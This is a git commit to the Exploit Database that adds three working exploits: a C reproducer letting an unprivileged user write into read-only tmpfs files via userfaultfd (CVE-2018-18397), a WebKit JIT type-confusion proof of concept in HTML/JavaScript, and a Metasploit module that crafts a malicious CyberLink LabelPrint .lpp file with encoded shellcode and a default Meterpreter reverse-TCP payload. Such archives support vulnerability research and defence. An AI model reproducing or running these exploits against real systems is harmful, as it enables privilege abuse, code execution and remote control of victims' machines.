DB: 2018-12-14

3 changes to exploits/shellcodes

Linux - 'userfaultfd' Bypasses tmpfs File Permissions
WebKit JIT - Int32/Double Arrays can have Proxy Objects in the Prototype Chains

CyberLink LabelPrint 2.5 - Stack Buffer Overflow (Metasploit)
This commit is contained in:
Offensive Security 2018-12-14 05:01:46 +00:00
parent 25e5c32779
commit 04a490a7c2
4 changed files with 434 additions and 0 deletions

View file

@ -0,0 +1,149 @@
Using the userfaultfd API, it is possible to first register a
userfaultfd region for any VMA that fulfills vma_can_userfault():
It must be an anonymous VMA (->vm_ops==NULL), a hugetlb VMA
(VM_HUGETLB), or a shmem VMA (->vm_ops==shmem_vm_ops). This means that
it is, for example, possible to register userfaulfd regions for shared
readonly mappings of tmpfs files.
Afterwards, the userfaultfd API can be used on such a region to
(atomically) write data into holes in the file's mapping. This API
also works on readonly shared mappings.
This means that an attacker with read-only access to a tmpfs file that
contains holes can write data into holes in the file.
Reproducer:
First, as root:
=====================
root@debian:~# cd /dev/shm
root@debian:/dev/shm# umask 0022
root@debian:/dev/shm# touch uffd_test
root@debian:/dev/shm# truncate --size=4096 uffd_test
root@debian:/dev/shm# ls -l uffd_test
-rw-r--r-- 1 root root 4096 Oct 16 19:25 uffd_test
root@debian:/dev/shm# hexdump -C uffd_test
00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00001000
root@debian:/dev/shm#
=====================
Then, as a user (who has read access, but not write access, to that
file):
=====================
user@debian:~/uffd$ cat uffd_demo.c
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/userfaultfd.h>
#include <err.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <stdio.h>
static int uffd;
static void *uf_mapping;
int main(int argc, char **argv) {
int rw_open_res = open("/dev/shm/uffd_test", O_RDWR);
if (rw_open_res == -1)
perror("can't open for writing as expected");
else
errx(1, "unexpected write open success");
int mfd = open("/dev/shm/uffd_test", O_RDONLY);
if (mfd == -1) err(1, "tmpfs open");
uf_mapping = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, mfd, 0);
if (uf_mapping == (void*)-1) err(1, "shmat");
// Documentation for userfaultfd:
// http://man7.org/linux/man-pages/man2/userfaultfd.2.html
// http://man7.org/linux/man-pages/man2/ioctl_userfaultfd.2.html
// https://blog.lizzie.io/using-userfaultfd.html
uffd = syscall(__NR_userfaultfd, 0);
if (uffd == -1) err(1, "userfaultfd");
struct uffdio_api api = { .api = 0xAA, .features = 0 };
if (ioctl(uffd, UFFDIO_API, &api)) err(1, "API");
struct uffdio_register reg = {
.range = {
.start = (unsigned long)uf_mapping,
.len = 0x1000
},
.mode = UFFDIO_REGISTER_MODE_MISSING
};
if (ioctl(uffd, UFFDIO_REGISTER, &reg)) err(1, "REGISTER");
char buf[0x1000] = {'A', 'A', 'A', 'A'};
struct uffdio_copy copy = {
.dst = (unsigned long)uf_mapping,
.src = (unsigned long)buf,
.len = 0x1000,
.mode = 0
};
if (ioctl(uffd, UFFDIO_COPY, &copy)) err(1, "copy");
if (copy.copy != 0x1000) errx(1, "copy len");
printf("x: 0x%08x\n", *(unsigned int*)uf_mapping);
return 0;
}
user@debian:~/uffd$ gcc -o uffd_demo uffd_demo.c -Wall
user@debian:~/uffd$ ./uffd_demo
can't open for writing as expected: Permission denied
x: 0x41414141
user@debian:~/uffd$
=====================
And now again as root:
=====================
root@debian:/dev/shm# hexdump -C uffd_test
00000000 41 41 41 41 00 00 00 00 00 00 00 00 00 00 00 00 |AAAA............|
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00001000
=====================
I asked MITRE for a CVE when I started writing the bug report, and
they've already given me CVE-2018-18397.
By the way, another interesting thing: Apparently userfaultfd even
lets you write beyond the end of the file, and the writes become
visible if the file is subsequently truncated to a bigger size?
That seems wrong.
As root, create an empty file:
=====================
root@debian:/dev/shm# rm uffd_test
root@debian:/dev/shm# touch uffd_test
root@debian:/dev/shm# ls -l uffd_test
-rw-r--r-- 1 root root 0 Oct 16 19:44 uffd_test
root@debian:/dev/shm#
=====================
Now as a user, use userfaultfd to write into it:
=====================
user@debian:~/uffd$ ./uffd_demo
can't open for writing as expected: Permission denied
x: 0x41414141
user@debian:~/uffd$
=====================
Afterwards, to root, the file still looks empty, until it is truncated
to a bigger size:
=====================
root@debian:/dev/shm# ls -l uffd_test
-rw-r--r-- 1 root root 0 Oct 16 19:44 uffd_test
root@debian:/dev/shm# hexdump -C uffd_test
root@debian:/dev/shm# truncate --size=4096 uffd_test
root@debian:/dev/shm# hexdump -C uffd_test
00000000 41 41 41 41 00 00 00 00 00 00 00 00 00 00 00 00 |AAAA............|
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00001000
root@debian:/dev/shm#
=====================

View file

@ -0,0 +1,116 @@
<!--
Bug:
void JSObject::setPrototypeDirect(VM& vm, JSValue prototype)
{
ASSERT(prototype);
if (prototype.isObject())
prototype.asCell()->didBecomePrototype();
if (structure(vm)->hasMonoProto()) {
DeferredStructureTransitionWatchpointFire deferred(vm, structure(vm));
Structure* newStructure = Structure::changePrototypeTransition(vm, structure(vm), prototype, deferred);
setStructure(vm, newStructure);
} else
putDirect(vm, knownPolyProtoOffset, prototype);
if (!anyObjectInChainMayInterceptIndexedAccesses(vm))
return;
if (mayBePrototype()) {
structure(vm)->globalObject()->haveABadTime(vm);
return;
}
if (!hasIndexedProperties(indexingType()))
return;
if (shouldUseSlowPut(indexingType()))
return;
switchToSlowPutArrayStorage(vm);
}
JavaScriptCore doesn't allow native arrays to have Proxy objects as prototypes. If we try to set the prototype of an array to a Proxy object, it will end up calling either switchToSlowPutArrayStorage or haveABadTime in the above method. switchToSlowPutArrayStorage will transition the array to a SlowPutArrayStorage array. And haveABadTime will call switchToSlowPutArrayStorage on every object in the VM on a first call. Since subsequent calls to haveABadTime won't have any effect, with two global objects we can create an array having a Proxy object in the prototype chain.
Exploit:
case HasIndexedProperty: {
ArrayMode mode = node->arrayMode();
switch (mode.type()) {
case Array::Int32:
case Array::Double:
case Array::Contiguous:
case Array::ArrayStorage: {
break;
}
default: {
clobberWorld();
break;
}
}
setNonCellTypeForNode(node, SpecBoolean);
break;
}
From: https://github.com/WebKit/webkit/blob/9ca43a5d4bd8ff63ee7293cac8748d564bd7fbbd/Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h#L3481
The above routine is based on the assumption that if the input array is a native array, it can't intercept indexed accesses therefore it will have no side effects. But actually we can create such arrays which break that assumption making it exploitable.
PoC:
-->
<body>
<script>
function opt(arr, arr2) {
arr[1] = 1.1;
let tmp = 0 in arr2;
arr[0] = 2.3023e-320;
return tmp;
}
function main() {
let o = document.body.appendChild(document.createElement('iframe')).contentWindow;
// haveABadTime
o.eval(`
let p = new Proxy({}, {});
let a = {__proto__: {}};
a.__proto__.__proto__ = p;
`);
let arr = [1.1, 2.2];
let arr2 = [1.1, 2.2];
let proto = new o.Object();
let handler = {};
arr2.__proto__ = proto;
proto.__proto__ = new Proxy({}, {
has() {
arr[0] = {};
return true;
}
});
for (let i = 0; i < 10000; i++) {
opt(arr, arr2);
}
setTimeout(() => {
delete arr2[0];
opt(arr, arr2);
alert(arr[0]);
}, 500);
}
main();
</script>
</body>

166
exploits/windows/local/45985.rb Executable file
View file

@ -0,0 +1,166 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
def initialize(info={})
super(update_info(info,
'Name' => "CyberLink LabelPrint 2.5 Stack Buffer Overflow",
'Description' => %q{
This module exploits a stack buffer overflow in CyberLink LabelPrint 2.5 and below.
The vulnerability is triggered when opening a .lpp project file containing overly long string characters
via open file menu. This results in overwriting a structured exception handler record and take over the
application. This module has been tested on Windows 7 (64 bit), Windows 8.1 (64 bit), and Windows 10 (64 bit).
},
'License' => MSF_LICENSE,
'Author' =>
[
'modpr0be <tom@spentera.id>', # initial discovery and metasploit module
'f3ci <marie@spentera.id>' # unicode kungfu
],
'References' =>
[
[ 'CVE', '2017-14627' ],
[ 'EDB', '42777' ]
],
'DefaultOptions' =>
{
'FILENAME' => 'msf.lpp',
'EXITFUNC' => 'seh',
'DisablePayloadHandler' => 'true',
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
},
'Platform' => 'win',
'Targets' =>
[
['CyberLink LabelPrint <= 2.5 on Windows 7 (64 bit)',
{
'Ret' => "\x2c\x44",
'Offset' => 790,
'Padding1' => 857,
'Padding2' => 104
}
],
['CyberLink LabelPrint <= 2.5 on Windows 8.1 x64',
{
'Ret' => "\x2c\x44",
'Offset' => 790,
'Padding1' => 845,
'Padding2' => 116
}
],
['CyberLink LabelPrint <= 2.5 on Windows 10 x64 build 1803',
{
'Ret' => "\x2c\x44",
'Offset' => 790,
'Padding1' => 781,
'Padding2' => 180
}
],
],
'Payload' =>
{
'Space' => 15000,
'DisableNops' => true
},
'DisclosureDate' => 'Sep 23 2017',
'DefaultTarget' => 0))
end
def get_payload(hunter)
enc = framework.encoders.create('x86/unicode_mixed')
enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EAX' })
hunter = enc.encode(hunter, nil, nil, platform)
end
def exploit
nop = "\x42"
junk = 'ABC'.split('').sample #junk must specifically static (A, B, and C only)
buffer = ""
buffer << junk * target['Offset']
buffer << "\x61\x42" # nseh
buffer << target['Ret'] # seh
#we need to encode the RET address, since RET (\xc3) is known as bad char.
#preparing address to land the decoded RET
buffer << nop #nop/inc edx
buffer << "\x54" #push esp
buffer << nop #nop/inc edx
buffer << "\x58" #pop eax
buffer << nop #nop/inc edx
buffer << "\x05\x1B\x01" #add eax 01001B00
buffer << nop #nop/inc edx
buffer << "\x2d\x01\x01" #sub eax 01001000
buffer << nop #nop/inc edx
buffer << "\x50" #push eax
buffer << nop #nop/inc edx
buffer << "\x5c" #pop esp
#preparing RET opcode (c300c300)
buffer << nop #nop/inc edx
buffer << "\x25\x7e\x7e" #and eax,7e007e00
buffer << nop #nop/inc edx
buffer << "\x25\x01\x01" #and eax,01000100
buffer << nop #nop/inc edx
buffer << "\x35\x7f\x7f" #xor eax,7f007f00
buffer << nop #nop/inc edx
buffer << "\x05\x44\x44" #add eax,44004400
buffer << nop #nop/inc edx
buffer << "\x57" #push edi as padding, needed to align stack
buffer << nop #nop/inc edx
buffer << "\x50" #push eax
buffer << junk * target['Padding1'] #OS specific
#custom venetian to reach shellcode
buffer << "\x58" #pop eax
buffer << nop #nop/inc edx
buffer << "\x58" #pop eax
buffer << nop #nop/inc edx
buffer << "\x05\x09\x01" #depending OS
buffer << nop #nop/inc edx
buffer << "\x2d\x01\x01" #add eax, 01000100, this will align eax to our buffer
buffer << nop #nop/inc edx
buffer << "\x50" #push eax
buffer << nop #nop/inc edx
#crafting call esp at 0x7c32537b (MFC71U.dll) to make a jump using call esp
buffer << "\x5C" #pop esp
buffer << nop #nop/inc edx
buffer << "\x58" #pop eax
buffer << nop #nop/inc edx
buffer << "\x05\x53\x7c" #add eax 7c005300 part of call esp
buffer << nop #nop/inc edx
buffer << "\x50" #push eax
buffer << junk * target['Padding2'] #OS specific
buffer << "\x7b\x32" #part of call esp
#preparing for jump to shellcode, placing in eax.
buffer << junk * 114 #junk
buffer << "\x57" #push edi
buffer << nop #nop/inc edx
buffer << "\x58" #pop eax
buffer << nop #nop/inc edx
buffer << "\x05\x0A\x01" #depending OS
buffer << nop #nop/inc edx
buffer << "\x2d\x01\x01" #sub eax,01000100
buffer << nop #nop/inc edx
buffer << get_payload(payload.encoded)
buffer << junk * (payload.space-buffer.length) #fill the rest of buffer, must be added.
lpp_data = <<-EOS
<PROJECT version="1.0.00">
<INFORMATION title="" author="" date="#{rand(1..12)}/#{rand(1..28)}/#{(1970..2020).to_a.sample}" SystemTime="#{rand(1..12)}/#{rand(1..28)}/#{(1970..2020).to_a.sample}">
<TRACK name="#{buffer}" />
</INFORMATION>
</PROJECT>
EOS
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(lpp_data)
end
end

View file

@ -6210,6 +6210,8 @@ id,file,description,date,author,type,platform,port
45956,exploits/windows_x86/dos/45956.py,"Textpad 8.1.2 - Denial Of Service (PoC)",2018-12-09,"Gionathan Reale",dos,windows_x86,
45966,exploits/windows/dos/45966.py,"SmartFTP Client 9.0.2623.0 - Denial of Service (PoC)",2018-12-11,"Alejandra Sánchez",dos,windows,
45968,exploits/windows/dos/45968.py,"LanSpy 2.0.1.159 - Local Buffer Overflow (PoC)",2018-12-11,"Gionathan Reale",dos,windows,
45983,exploits/linux/dos/45983.txt,"Linux - 'userfaultfd' Bypasses tmpfs File Permissions",2018-12-13,"Google Security Research",dos,linux,
45984,exploits/multiple/dos/45984.html,"WebKit JIT - Int32/Double Arrays can have Proxy Objects in the Prototype Chains",2018-12-13,"Google Security Research",dos,multiple,
3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux,
4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris,
12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux,
@ -10142,6 +10144,7 @@ id,file,description,date,author,type,platform,port
45953,exploits/unix/local/45953.rb,"Emacs - movemail Privilege Escalation (Metasploit)",2018-12-04,Metasploit,local,unix,
45960,exploits/multiple/local/45960.txt,"XNU - POSIX Shared Memory Mappings have Incorrect Maximum Protection",2018-12-11,"Google Security Research",local,multiple,
45961,exploits/windows/local/45961.txt,"McAfee True Key - McAfee.TrueKey.Service Privilege Escalation",2018-12-11,"Google Security Research",local,windows,
45985,exploits/windows/local/45985.rb,"CyberLink LabelPrint 2.5 - Stack Buffer Overflow (Metasploit)",2018-12-13,Metasploit,local,windows,
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139

Can't render this file because it is too large.